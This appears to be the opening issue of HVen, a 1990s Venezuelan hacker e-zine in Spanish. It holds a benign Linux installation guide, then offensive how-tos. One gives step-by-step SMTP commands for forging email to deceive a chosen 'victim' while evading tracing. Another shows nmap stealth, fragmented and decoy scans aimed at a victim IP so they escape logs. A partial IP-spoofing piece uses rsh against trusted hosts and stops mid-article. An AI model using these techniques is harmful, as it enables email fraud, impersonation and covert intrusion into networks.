Instalando Linux, Particiones y Otras Cosa, Mail falso, nmap al desnudo, IPSpoofing & Sniffer, Seguridad en Windows NT, como usar UNIX y vivir para contarlo, Clonaci¢n y Telefon¡a Celular, Programaci¢n del Shell de Unix, Analisis del John The Ripper 1.6, arreglar baterias de celulares, Programacion Batch.....
Texto Completo:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ °±²Û HVen E-Zine Û²±° ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ º
º º
º Ü Ü Ü Ü ÜÜÜ ÜÜÜÜ º
º ÛÜÜÛ Û Û ÛÜÜ Û Û º
º Û Û ßÜß ÛÜÜ Û Û º
º º
º ~~0 |_) º
º |(_~|^~~| º
º TT/_ T"T º
º ^^^^^^^^^^^^^^^^^ º
º El Primer E-Zine Venezolano º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ Disclaimer ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º El contenido de esta revista electr¢nica tiene una unica finalidad, la de º
º educar con respecto a seguridad inform tica y que posibildades tenemos º
º para quebrar dicha seguridad, asi como tambi‚n hablamos sobre otros temas, º
º especialmente temas underground, ni el equipo HVEN ni ninguno de sus º
º colaboradores se hace responsable de lo que tu hagas con esta informaci¢n º
º desde ahora solo tu eres responsable de tus actos... ¨ok? º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ Powered by Edit del DOS ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
P gina Oficial
ÍÍÍÍÍÍ>> http://members.xoom.com/kliber/hack <<ÍÍÍÍÍÍ
ÍÍÍÍÍÍ>> http://www.hackhour.com.br/hven <<ÍÍÍÍÍÍ
Canal Oficial
ÍÍÍÍÍÍ>> #Hackers-Venezuela (irc.dal.net) <<ÍÍÍÍÍÍ
El Conocimiento es Poder
ÍÍÍÍÍÍ>> Staff <<ÍÍÍÍÍÍ
DarKdEaTH
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
DoctorX
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
DunkelSeite
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Kliber
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Teken Melocotoff
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Env¡a tus sugerencias y/o art¡culos a
<
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
ÉÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Contenido ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍͼ
01 Editorial....................................................DarKdEaTH
02 Instalando Linux, Particiones y Otras Cosas....................DoctorX
03 Como Crear Correo Electronico Falso...................Teken Melocotoff
04 Nmap al Desnudo................................................DoctorX
05 IPSpoofing & Sniffers.............................................Kimo
06 Seguridad en Windows NT.........................................Kliber
07 UNIX, Como usarlo y vivir para contarlo.........................Kliber
08 Clonaci¢n y Telefon¡a Celular......................VeN tHe KiLlEr RaT!
09 Programaci¢n del Shell de Unix.................................DoctorX
10 An lisis del John The Ripper 1.6.............................DarKdEaTH
12 Como arreglar las baterias de lo celulares.....................KaDiLaC
13 Guia de Programaci¢n Batch.......................................MHVSS
14 Despedida....................................................DarKdEaTH
ÉÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Editorial ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹DarKdEaTHÌÍÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍͼ
Al f¡n nos decidimos a realizar esta revista electr¢nica, el primer
E-zine Venezolano, idea que daba vueltas desde hace tiempo y ahora se
consolida esperemos siga fuerte esta idea, desde ahora comienza una
nueva era del hack en Venezuela, y esperamos que con esto surjan
iniciativas en otros grupos de hack en Venezuela ya que grupos serios
se ven pocos :(.
Venezuela desde hace alg£n tiempo se ha visto sumergida en una intensa
crisis en todos los aspectos, despu‚s de tanto tiempo parece que lo
malo est llegando a su fin, la econom¡a parece fortalecerse, y poco a
poco (eso si! muuuy poco a poco) se est n viendo los resultados de un
presidente golpista jeje, no me cae muy bien que digamos pero si le
est echando bolas entonces estamos en el mismo bando ;).
Tambi‚n queremos invitar a quien quiera colaborar con este proyecto
pueden enviar sus articulos y/o comentarios, pues aqui estamos tratando
de mejorar cada dia mas, y hacer un llamado a los hackers venezolanos
para que se manifiesten y dejen un poco el under y salgan, claro no
mucho ;).
Hemos decidido que el castellano es un idioma muy perfecto como para
hacer la maldad de no poner acentos ni e¤es, claro no somos educadores
ni nada de eso, as¡ que se nos puede pasar de vez en cuando alg£n error
( a veces muy de vez en cuando ;) pero si pensamos que as¡ es el idioma
y no somos nadie para cambiarlo as¡ que ya sabes, si quieres leer este
ezine con tu wordpad o lo que sea olvidalo, usa el edit del dos
(recomendado) para leer el ezine.
Bueno, no sigo hablando paja y ahi les dejo nuestro primer n£mero, que
lo disfruten...
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Instalando Linux, Particiones y Otras Cosas ÌÍÍÍÍÍÍÍÍÍÍÍÍ͹DoctorXÌÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Linux es un Sistema operativo muy versatil y que tiene la ventaja de
tener el apoyo de un gran numero de programadores alrededor del mundo
para el desarrollo de software los cuales en algunos casos trabajan
gratis lo cual ha permitido que sea el SO que se ha desarrolado con
mayor informaci¢n en la historia de la Informatica, pasando de ser
utilizado por un 7% de los usuarios de Computadoras en el Mundo en
el 97 a un 18% en el 98, lo cual muestra como ha se ha ido ganando
adeptos debido a sus multiples funciones y fortaleza aunque sin perder
lo oscuro de un sistema unix por lo cual a veces configurar una
distribucion de Linux no es tarea facil.
Para iniciar la instalacion de Linux primero necesitas elegir una
distribucion, existen 5 distribuciones que a mi juicio son las
mas utilizadas:
Red Hat Linux: Una verdadera obra de arte y muy facil de instalar,
ademas de ser en la actualidad el mas popular en U.S.A ademas que
por experiencia te digo que es mas facil de configurar que cualquiera
de las otras y la instalaci¢n de nuevo software es mucho mas
facil y rapida en estos menesteres.
Slackware Linux: Esta tambi‚n es una muy buena distribuci¢n, un
poco oscura en su manejo en cuanto configuraci¢n de hardware y demas
pero tambien a mi juicio la mas apropiada para el hacking
particularmente yo me cambie de Red Hat a slackware y creo que me quedo,
tiene muchas aplicaciones interesantes y la instalaci¢n es un poco
tediosa ya que debes indicar uno a uno los paquetes a instalar a menos
que le des instalar todo, si decides instalar todo entonces te aseguro
que te saturara el disco duro con unos 500 megas de donde tal vez unos
80 o 100 no utilizaras entre servidores de noticias y otras cosas.
S.U.S.E: Esta distribucion de linux alemana posee dos versiones una
para alemania y otra en ingles para el resto del Mundo, se dice que esta
distribucion es ideal para principiantes pero a mi juicio esta distribuci¢n
tiene muy poco software disponible en comparaci¢n con el Slackware o el
Red Hat aunque si la tienes a la mano no cuesta nada probar.
Open Lite Caldera Linux: El linux en espa¤ol, tiene comandos en espa¤ol
al igual que las ayudas o sea que mejor imposible si deseas iniciarte.
Debian Linux : Esta es una de las distribuciones mas recientes, que
promete ser muy buena ademas de que posee su manejador de paquetes de
instalaci¢n al estilo de Red Hat y con la salvedad de que es mas barato
que muchas otras y mas facil de adquirir.
Desde ahora en adelante describir‚ el metodo de instalaci¢n de
Slackware Linux que es muy similar al Red Hat pero con la diferencias de
que con Red Hat necesitas un solo disco para instalaci¢n. El Linux necesita
una partici¢n en la cual recidir la cual es la Partici¢n Nativa de Linux
que reconocida con el tipo 83 por el fdisk en linux, en esta particion
recidira linux y sus componentes, ademas de esta partici¢n linux necesita
una particion swap o de intercambio que hace las veces de una extensi¢n
de la memoria RAM de la maquina y que es necesaria si la maquina tiene 8
megas de RAM o menos, al contrario de slackware en el cual dicha partici¢n
es opcional mientras que en RED HAT es obligatoria.
Para crear dichas particiones primero debes hacer espacio para ellas
y determinar el tama¤o de las mismas, si tienes actualmente una sola
partici¢n en el disco duro y no deseas perder tus datos entonces la opci¢n
para hacer el espacio es FIPS o PARTITION MAGIC ambos programas se
encuentran en internet aunque el FIPS muchas veces viene en los cd's
de Linux, dichos programas te permiten re-particionar el disco duro
sin perder los datos que tenias antes solo jugando con el espacio libre
disponible. Si no dispones de estos programas y no te importa como
a mi perder algo del win entonces tienes dos opciones una el fdisk del
DOS y otra el fdisk de linux, lo mejor que puedes hacer es primero dividir
el disco duro en dos con el fdisk del DOS y crear una particion primaria
del DOS en la que recidira el WIN9X o el 2000 cuando este, una vez
creadas dichas particiones entonces desde el msdos procedes a la creacion
de los discos boot y root que son necesarios para la instalacion y para
ello utilizas el rawrite en msdos, antes de crear dichos discos debes
determinar que imagen utilizaras en la instalaci¢n tanto para el boot
como para el root, las imagenes son el kernel y el soporte para el
hardware de tu PC por eso si tienes dispositivos scsi es distinta a si no
los tienes por eso debes leer el README que aparece adjunto a los archivos
de las imagenes en mi caso para el boot tome la imagen bare.i y para el
root tome la color.i qu e son las que tienen el soporte mas generico
ademas de tener controladores para cd IDE/ATAPI que es el que tengo ,
ademas la instalcion en mi caso es desde un cd pero se puede instalar
desde el disco duro previo a haber bajado el linux o desde ftp en una red,
usted elije el de su preferencia de acuerdo al tipo de instalaci¢n.
Como Crear el Disco Boot y Root ??????
Una vez que hemos elegido las im genes desde msdos y con dos discos
31/2 utilizamos el rawrite de esta forma :
> rawrite enter
luego el les pedira el nombre de la imagen y su ubicaci¢n y le dan
enter (por supuesto que despues de haber respondido), seguidamente les
pedira el drive en el que crear n la imagen y alli colocan a:
esto lo repiten dos veces con el boot y el root a menos que esten en
Red Hat y solo necesitan el boot para instalar de cd's.
Una vez hecho esto deben cambiar el setup de la maquina para que
arranque desde disco 3 1/2 y re-arrancar la maquina. Al Reiniciar la
maquina con el disco boot primero veran como se carga el kernel de linux
desde el disco y veran aparecer un mensaje en la pantalla diciendo
"Instalacion de Slackware 3.6 " o algo asi, imagino que en otras
distribuciones es parecido al menos en red hat lo es, una vez en ese
punto les saldra un prompt diciendo " boot:" esperando alguna instruccion
que pueda ser necesaria para un tipo particular de arranque si el
necesario o a veces para indicarle desde donde arrancar en nuestro caso
simplemente con pulsar enter basta, a partir de alli se inicia la carga de
linux y le sera solicitado el disco root y una vez que lo introduzca dicho
disco lo proximo sera un mensaje pidiendo el "login:" que es el nombre de
usuario en el sistema pero en este sera root. Una vez hecho esto tendras
el prompt del sistema a tu disposici¢n para crear las particiones de
linux si ya no las tienes .
Crear Particiones con el fdisk del Linux.
en el prompt debes escribir
# fdisk enter
y luego le das la opcion "m" y enter para ver la ayuda del fdisk
en las opciones tendras
d - borra una partici¢n
l - te dice todos los tipos de partici¢n reconocidos por el kernel
q - sale sin guardar los cambios
p - imprime la tabla de particiones en pantalla
w - sale guardando los cambios
t - cambia el tipo de partici¢n (los tipos son los mostrados con l )
n - crea una nueva particion
m - muestra el men£ de opciones
ok
en este punto le damos n
y te pregunta el numero de la particion que vas a crear
ya que el linux renoce la particiones asi
/dev/hda es un disco duro
/dev/hda1 partici¢n 1 en el disco duro hda , en este nuestro caso esa
es la partici¢n de dos o de win
/dev/hda2 3,4 y etc estan disponibles para linux
entonces le puedes dar 2
una vez hecho esto te pedira el numero del primer cilindro de esta
particion y te sugerira uno por defecto mostrado asi " [ 524 ] " o
el que sea, aca le puedes dar simplemente enter ya que ese es el primer
cilindro disponible, luego te pedira el cilindro en el cual terminara o
en su defecto el tama¤o en megabytes por lo cual puedes decidir en
darle 100,200,300,1200 o la cantidad de megas que quieras te aconsejo mas
de 400 para que no te falte espacio si estas creando la native o principal,
el mismo procedimiento lo repites con la swap pero luego de creadas las
particiones debes decirle a linux quien es quien o sea asignarles el
identificador para la swap el 83 y la nativa el 82, eso se hace con la
opcion t del menu y luego w para grabar .
Despues de creadas las particiones solo te queda instalar linux si
estas en slackware le das "setup " enter y se inicia la instalaci¢n
desde alli en adelante debes comenzar a elegir el tipo de instalaci¢n y
que quieres instalar, si es en Red Hat alli la instalaci¢n es guiada de
manera intuitiva a travez de menus que te permiten ir haciendo
todo lo necesario desde crear particiones de disco y demas por lo que la
instalaci¢n de este es m s facil, volviendo al slackware debes crear un
disco boot por si quieres arrancar el linux en vez del win y no tienes
LILO (Linux Loader) que es un programa que te permite elegir entre linux
y el resto de sistemas operativos que tengas instalados en el arranque.
Si es tu primera vez te sugiero que dejes que lilo se instale solo en el
modo "newbie" y el detectara que tienes win por ejemplo y linux , por lo
que te colocara un menu que contenga los dos para que decidas cual
arrancar.
En la Instalacion del Slackware debes decirle desde donde se instala
si desde el CD o desde ftp y ademas decirle en donde se instalara por lo
que alli debes colocar "/" que es la raiz o lo que en analogo en
msdos "c:\", al elegir esto solo te falta comenzar la instalacion de
Linux.
algunos web site de las distribuciones de Linux.
http://www.redhat.com Red Hat Linux
http://slackware.org Slackware Linux
http://www.suse.com S.U.S.E
otros sites de Linux.
http://linux.ncc.org.ve
http://linux.box.sk
http://linux.org
http://bactery.8m.com : )
http://linux.org.ve
bueno espero que esta guia les sirva de algo cualquier problema pueden
contactarme
via email.
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Como Crear Correo Electr¢nico Falso ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹Teken MelocotoffÌÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
La creaci¢n de los correos falsos es una cosa muy simple... y por lo usual
se aprende en tan siquiera en unos minutos. Pero les advierto que las cosas
si se hacen apresuradamente en las mayoria de los casos o no le sale bien
o es un completo fracaso. Parte de la creaci¢n de sus correos electr¢nicos
consta de una buena investigaci¢n. Bueno ya se acabo la mariconada.
-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-
YA TODOS SABEN QUE LO ESCRITO AQUI ES SOLO PARA USO EDUCACIONAL....BLA BLA
BLA.....Y SI SE METEN EN PROBLEMAS NO ME PUEDEN CULPAR NI A MI NI AL QUE
LE DIO ESTE DOCUMENTO BLA BLA BLA....ASI QUE NO JODAN!
-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-
Ahora bien la creaci¢n de estos documentos requiere de tres cosas:
1. Investigaci¢n de el servidor de donde quieren que provenga el correo
2. Investigaci¢n de el servidor de correo de la victima.
3. Investigaci¢n de los conocimientos de la victima.
PASO UNO:
Antes que todo tenemos que investigar el servidor donde queremos que
provenga el correo. Pero como hacemos esto? No se preocupen todo esto
se puede realizar desde un mismo programa...sin importar el sistema
operativo (aunque aquellos hechos en u*nix pueden ser mas complicados
pero mucho mas convincentes...). Este programa se llama telnet. Lo que
haremos es conectarnos atravez de telnet a un servicio whois. El servicio
whois le permite a la persona conocer mas sobre los isp...o proveedor de
servicio de internet. Como? Al conectarse al servicio whois este le tira
primero mucha informacion sobre el servio bla bla bla... por ejemplo
usemos el servicio whois de internic....que es la compa¤ia que registra
TODOS los servidores CIVILES de internet....asi que es un whois muy
completo.
internic>:
algo asi es el prompt. ahi escribes whois el-domain-del-servidor-que-quieres
-investigar.(el domain es lo que esta detras de la @ en las direcciones de
email) seria algo asi
internic>: whois lo-que-esta-detras-de-la-@
Despues de eso o te dice que no existe.. o te tira muuuuuucha
informacion muy util sobre el isp. Pero para nuestra aventura solo nos
interesa lo que viene al final.
ns(un numero cualquiera).unnombre.net/com
este es el formato mas comun (hay excepciones). Esto te dice lo siguiente.
Ns (un numero) ns representa name server... o servidor de nombre... y el
numero el numero del servidor. usualmente vienen en pareja ns1 el servidor
principal y ns2 usualmente el que se dedica a los correos (en algunos casos
puedan que hayan mas).
bien hemos terminado esta parte de la investigaci¢n. ahora falta investigar
el servidor directamente. Como?
1. Activen telnet.
2. En conectar selecionen conectar a sistema remoto
3. Donde dice host coloquen uno de los nombres de servidor
4. Donde dice telnet pongan 25 (el default para smtp aunque hay excepciones)
5. Conectar
(en algunos casos talvez te veas escribiendo pero no sale nada. Si es asi ve
a terminal y seleciona preferencias y ahi seleciona eco local)
Dependiendo si escribieron todo bien, o si el servidor tiene el puerto
abierto le puede dar respuestas differentes. Si todo ta bien te tira una
linea con la informacion del servidor y la del programa de smtp (simple
mail transfer protocol). Si algo sale mal no te dice nada o simplemente
te dice que no encuentra el servidor.
Una vez tenida la conexi¢n lo mas inteligente seria accesar el help del
programa. Como es un programa basado
en unix hacemos esto:
help
man
?
estos son differentes comandos de ayuda.
una vez encontrada la ayuda (si existe) experimente usando el comando de
ayuda con los comandos para conseguir mas informaci¢n.
la mayoria de los formatos es este
helo pon.cualquier.domain.aqui.no.importa.com
helo... blablabla.. (en este punto el programa te indentifica...
completamente...). aqui se llega al la parte principal del correo... la
parte fake. Pero para asegurarnos que funcione bien lo mejor seria mandar
uno de practica a tu correo.
mail from:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
sender ok
rcpt to:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
recepient ok
(debe ser una direccion valida si no de que sirve?)
data
blblblalblalbalalba......when the message is ready end with a . on line by
itself.
.
message is ready to be sent.
y ya. has escrito tu primer fakemail.
ahora deberias haber recibido tu mensaje de prueba tras unos minutos.
Revisalo. Si puedes poner header completo ponlo. Si con el header simple
se ve bien... vas por buen camino... Pero tambien fijate el los headers
completo... tal vez tenga un numero de id del mensaje...y eso esta bien..
es parte del cada mensaje que se manda legal o ilegal... pero si el header
te delata con palabras buscate otro. Practica y perfeciona tu tecnica. Te
dara cuenta que en la mayoria de los caso si cometes un error te manda un
garabato.... asi que ya sabes... planea bien tu mensaje para no cometer
errores.
PASO DOS:
investigar el correo de tu victima. si tu victima tiene su correo con en
servicio de correo como hotmail, mixmail, etc.. consigue una cuenta
(la mayoria son GRATIS) y mandate un mensaje a ver como reacciona. Si no
utilza esto metodos y tienen software dedicado a la lectura de correos..
trata de investigar de que tan buenos son..
por ejemplo pine y eudora son muy buenos.......y hasta en algunos casos
ellos mismos te delatan.
PASO TRES:
Investiga a tu victima. Averigua que tanto sabe de computadoras. Si
intentas esto con un hacker o un administrador o alguien que se dedica
a conocer como funciona las computadoras... va a ser muy dificil que los
enga¤es con un fakemail.
Si es un wannabe o un lamer o un alguien que usa los programas pero no
sabe ni mierda de como funciona puedes esperar que tu correo sea un exito.
Asi que sal y explora. Con suficiente practica te daras cuenta de como
crear los headers falsos desde tu propia PUTAdora....y hasta pasar el
mensaje atravez de varios servidores para asi confudir al que quiera dar
contigo... no pienses que ya los has aprendido todo... porque todav¡a
no haz aprendido como hacer los mensajes falsos completamente indetectable
(al menos que te metas con un par de paises con fuertes cuerpos de
investigaciones) asi que sigue aprendiendo.
Escojamos. Seremos lobo, oveja, o pastor
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Nmap al Desnudo ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹DoctorXÌÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Nmap es un programa que sirve para hacer un mapeo de las redes
o mejor dicho un "scan" o barrido con el fin de determinar informaci¢n
importante a la hora del hack sobre determinados hosts, redes o grupos
de hosts. Este programa creado por Fyodor (
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
) se ha
ganado mucho adeptos debido a su versatilidad y facilidad de manejo,
ademas de poder utilizar varios protocolos como el udp y el tcp.
Este Programa posee multiples opciones que pueden ser combinadas entre
si a£n sin importar el orden en que se pases estas opciones en la linea
de comandos.
uso de nmap: nmap [Tipo de Scan] [Opciones] victima(s) o red_victima
Tipo de Barrido o Scan
----------------------
-sT conexi¢n tcp, este tipo de scan deja ver tu ip.
-sS tcp SYN(stealth) o oculto, solo root lo puede ejecutar.
-sF, -sX, -sN Stealth FIN, Xmas, o Scan Nulo (solo trabaja contra UNIX),
este tipo de scan se le llama nulo porque intenta molestar lo menos
posible al "inetd" o demonio de servicios para evitar caer en el
en el log del sistema, ademas existen muchos host con firewall
que poseen filtrado para paquetes del tipo SYN por lo que quedariamos
automaticamente grabados en el log del sistema, para esos casos
es necesario utilizar el sF, sX, sN o el Xmas en vez de el sS.
-sP ping "scan". Este es utilizado solo para saber si determinado(s)
host(s) estan en ese momento vivos o conectados, normalmente esto
lo realiza nmap enviado paquetes a el puerto 80 de un host pero si
este tiene un filtrado de ese puerto podras ser detectado de todas
formas puedes utilizar esta opcion en combinacion con -PI para
cambiar ese puerto 80 por uno mucho mayor preferiblemente.
-sU Este es un Scan de Puertos abiertos con protocolo UDP, solo root
puede ajecutarlo.
-b ftp "bounce attack" utlizado para ver si se puede utilizar un host
para pasar una conexi¢n ftp atravez de el y no hacer el ftp a otro
host desde tu maquina directamente.
Nota : 1) si no se le suminstra ning£n tipo de scan se asume por defecto sT.
2)Ademas de lo Anterioren el uso de los tipos -sS, Xmas y sF se permite
el flag -f para utilizar peque¤os fragmentos en el scan para hacerlos
menos detectables aun.
Opciones (no son Requeridas en algunos casos y pueden ser combinadas)
--------
-f Utiliza peque¤os paquetes fragmentados para el SYN , Xmas , FIN o
barrido nulo.
-P0 No hace "ping" al host en cuestion , necesario para el scan o
"barrido" a www.microsoft.com y otros con sistemas de deteccion de
ataques sensibles asi como los .gov .mil etc.)
-PT Utiliza el Ping de tcp para determinar si un host esta conectado
para el caso de -sT y -sP esta opcion aunque no es suministrada
va implicita en el metodo.
-PT21 Utiliza el Ping tcp para hacer prueba de conexi¢n a el puerto 21
o a cualquier otro especificado despues del -PT ejm: -PT110
-PI Utiliza paquetes icmp para determinar que hosts estan conectados
y es especial si deseas hacer un scan a travez de un firewall .
-PB Hace la misma funci¢n que el barrido (scan) TCP y ICMP, se le
puede especificar un puerto destino despues de la "B".
-PS Utiliza el TCP SYN sweep en lugar de el valor por defecto que es el
ack sweep utilizado en el Ping TCP.
-O Utiliza el TCP/IP "fingerprinting" para determinar que Sistema
operativo esta corriendo un host remoto.
-p o puertos : ejm: '-p 23' solo intenta hacer
conexi¢n con el(los) host(s) en el puerto especificado para extraer
de alli la informaci¢n necesaria para la operaci¢n de scan.
otros ejemplos '-p 20-100,31330-' hace un barrido entre los
puertos 20-30 y entre 31330-65535. por defecto el barrido es
entre los puertos 1 y el 1024 mas los que parezcan en el /etc/services
-Dhost1,host2,ME,host3[,...] Esta opci¢n hace parecer al host victima
que el scan est siendo realizado por host1,host2,ME(significa
nuestro propio host) ,host3 y cuantos unos quiera , por lo cual la
victima detectara que el scan proviene de todos esos host y no podra
determinar a ciencia cierta quien es el que en realidad esta haciendo
el scan, el uso de esta opci¢n con unos 15 hosts puede ocasionar
un Denial of Service en un Host que este Utilizando un Firewall con
"Packets Forwarding" o reenvio de paquetes y reglas simples de
filtrado, haciendo con que dicho hosts pierda conexi¢n con internet.
-F Barrido Rapido a "Fast Scan" solo examina los puertos que estan en
el /etc/services.
-I Toma informaci¢n de qui‚n es el due¤o del proceso que se esta
ejecutando pero solo se puede ejecutar con el -sT por lo cual deja
una traza enorme en el log de la v¡ctima por ello debe evitar utili-
zar esta opci¢n.
-n no hace converciones DNS rpara hacer el -sP mas rapido.
-R Intenta Convertir utilizando DNS (o sea del ip te muestra el hostname
ejm: le das 127.0.0.1 y te muestra que s localhost.localdomain.
-o guarda el mismo resultado mostrado por pantalla en un
archivo en formato entendible para los humanos.
-m lo mismo que lo anterior pero la salida es en un formato
de m quina.
-i Lee el(los) ip(s) de la(s) v¡ctima(s) desde un
archivo.
-g Indica que puerto local se utilizara para enviar
los paquetes para el scan.
-S Si quieres especificar un IP para que sea la fuente del scan,
ideal para hacer "Scan Spoofing" o encubrir tu scan.
-v Verbose. Muestra mas Informaci¢n.
-h Muestar la ayuda. Tambien puedes Visitar http://www.insecure.org/nmap/
-V Imprime la version de nmap y sale.
-e . Enviar los paquetes atravez de esta interface
en tu host pueder ser eth0,ppp0,ppp1 etc.
Los host pueden ser especificados con la direcci¢n de internet(IP), con
el nombre como por ejemplo : www.microsoft.com o con el nombre o ip del
host y la mascara que es opcional por ejemplo : www.insecure.org/24 en
donde /24 para una red de tipo C significa todos los ips de esa red, o
tambien 192.32.4.1/24 tendrïa el mismo efecto, para redes tipo "B"
utilice /16 , el /32 hace el scan de un solo host.
Ejemplos :
supongamos que la victima tiene este ip : 200.12.23.34
para hacer un scan simple de este host basta con hacer esto:
$nmap 200.12.23.34
de esta forma el resultado en pantalla sera una lista de los puertos
en este host que estan abiertos o esperando conexion(listen).
si deseo determinar si ciertos puertos estan disponibles en la
victima entonces hacemos esto.
$nmap -p 21,23,110,143 200.12.23.34
de esta manera estaremos haciendo el barrido o scan para los puertos
de interes en este caso el 21,23,110 y 143.
si esta vez quiero determinar que SO esta corriendo la v¡ctima la
opci¢n es hacer esto :
#nmap -sS -O 200.12.23.34
notese que estoy utilizando la opcion -sS para evitar ser detectado
al hacer el scan, pero tambien puede funcionar de esta forma pero
seras autom ticamente registrado en log del sistema v¡ctima :
#nmap -O 200.12.23.34 n¢tese que siempre para utilizar esta opci¢n
se debe ser root.
para determinar si la v¡ctima es vulnerable al "bounce attack" entonces
lo utilizamos asi:
$nmap -b 200.12.23.34
o de esta forma si el host tiene sensibles mecanismos de detecci¢n de
intrusos.
$nmap -P0 -b 200.12.23.34
Estos son solo unos pocos ejemplos pero la combinaci¢n de las opciones
con los tipos de scan te daran muchos mas usos dependiendo de la
aplicaci¢n asi que a practicar con nmap.
Ahora si deseo realizar un scan muy suave para no ser detectado por
algun firewall utilizo estas opciones con el -f ya que algunos firewall
poseen metodos para detectar este tipo de scan.
#nmap -sF -f -p 21 23 110 143 200.12.23.34
DoctorX email:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
http://www.hackhour.com.br/hven Hackers Venezuela
http://bactery.8m.com Zona de Bacterias
"El Conocimiento es Poder"
dudas enviarlas a mi email y flames a /dev/null
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ IPSpoofing & Sniffers ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹KimoÌÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
-=IPSpoofing=-
En una red conectada a Internet el ipspoofing es un arma letal a nuestra
disposici¢n. Un Servidor le permite a otros servidores Confiables
comunicarse con este sin necesidad de autenticaci¢n y esto se logra al
establecer los archivos .rhosts y otros ya en otras oportunidades
mencionados por lo que cualquier comunicaci¢n o solicitud para usar un
servicio (impresi¢n, manejo de bases de datos etc.) proveniente de un
servidor que no este declarado como confiable entonces se le solicitara
autenticaci¢n antes de realizar los enlaces de comunicaci¢n para el uso
de los servicios o el simple acceso. Utilizando el IPspoofing un servidor
o host no conectado a esa red se puede conectar a ella
por medio de Internet mediante el cambio del ip del mismo por uno
perteneciente a la red por lo que el que cambia aparentemente su ip
suplanta a la direcci¢n ip de la red local con lo que enga¤a a los
servidores de esa red para que no le soliciten autenticaci¢n.
ok, Ahora como utilizamos esto ??????????
bueno debemos recurrir a los comandos del Linux (en Windows no se puede)
necesitamos conocer todos los servidores y hosts registrados como
confiables en
lavictima.com
Como lo hacemos????????
desde el shell de Unix
ejecutas:
# arp -a
y te dice todos los registrados en tu servidor
y si ejecutas
# rsh lavictima.com arp -a o de esta forma
# rsh -l login lavictima.com arp -a
claro todo esto si el sistema esta basado en BSD
